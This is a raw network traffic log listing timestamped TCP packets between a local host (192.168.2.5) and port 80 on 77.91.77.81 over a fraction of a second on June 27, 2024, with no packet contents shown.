Jun 27, 2024 07:37:22.142086983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142091990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142133951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142298937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142311096 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142322063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142333984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142342091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142344952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142374039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142404079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142530918 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142543077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142554045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142566919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142577887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142579079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142610073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142622948 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142740965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142750978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142785072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142798901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.171876907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.171921968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.171932936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.171947956 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.171977043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172249079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172261000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172271967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172285080 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172296047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172301054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172307968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172323942 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172327995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172338009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172348022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172348022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172359943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172369003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172386885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172415972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172440052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172451973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172463894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172508955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172519922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172590017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172600985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172611952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172640085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172665119 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172723055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172733068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172744036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172770023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172799110 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172813892 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172861099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.172915936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172926903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172934055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172940016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172950983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.172981024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173007011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173125982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173156023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173175097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173202038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173391104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173407078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173418999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173429966 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173440933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173441887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173455000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173461914 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173465967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173499107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173516035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173544884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173557997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173588037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173652887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173666000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173682928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173696041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173706055 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173707008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173717976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.173726082 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.173754930 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.174045086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174057007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174068928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174079895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174092054 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174097061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.174108982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174113035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.174120903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.174144030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.174171925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.176753044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176796913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176809072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176810980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.176839113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.176883936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176896095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176904917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176929951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.176949024 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.176975965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176986933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.176996946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177026987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177056074 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177062035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177105904 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177170992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177181959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177191973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177201986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177212954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177220106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177222967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177249908 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177264929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177442074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177453041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177463055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177474022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177484035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177493095 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177500963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177511930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177524090 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177531004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177535057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177545071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177556038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177557945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177567959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177578926 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177581072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177603006 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177630901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177854061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177896023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177906036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.177930117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177956104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.177995920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.178004980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.178014040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.178045988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.229723930 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229742050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229752064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229809999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.229827881 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.229840994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229885101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.229929924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229939938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229949951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229959011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.229970932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.229995966 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230179071 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230190039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230205059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230216026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230223894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230228901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230235100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230245113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230247974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230252981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230262995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230268955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230299950 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230571032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230581999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230619907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230691910 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230701923 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230710983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230720043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230730057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230736971 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230757952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230772972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.230932951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230942965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230952978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.230983019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.231007099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.259968996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260025024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260040045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260062933 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260092974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260174036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260185003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260195971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260207891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260219097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260224104 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260246992 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260271072 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260390997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260406971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260417938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260427952 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260441065 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260458946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260519028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260526896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260576963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260596037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260607004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260618925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260636091 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260656118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260859013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260869980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260880947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260890961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260901928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260902882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260912895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260919094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260929108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260931969 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260941029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260951996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.260967016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.260991096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261228085 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261240005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261279106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261383057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261394024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261404037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261414051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261431932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261437893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261441946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261459112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261465073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261470079 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261478901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261482000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261497021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261506081 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261511087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261522055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261533022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.261540890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.261573076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262037992 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262048006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262058973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262069941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262079954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262090921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262090921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262106895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262109995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262119055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262129068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262135983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262154102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262176037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262345076 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262392998 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262552977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262564898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262574911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262586117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262597084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262605906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262608051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262619972 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262634993 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262644053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262645006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262656927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262661934 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262667894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262679100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262686014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262689114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262701035 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262710094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262711048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262721062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262732029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262732029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.262753963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.262784004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263544083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263556004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263565063 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263571024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263581038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263591051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263597012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263602018 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263612986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263622999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263629913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263658047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263668060 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263679028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263690948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263700962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263703108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263712883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263724089 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263725042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263736963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263746023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.263756037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263783932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.263799906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.317641973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317652941 CEST	80	49706	77.91.77.81	192.168.2.5
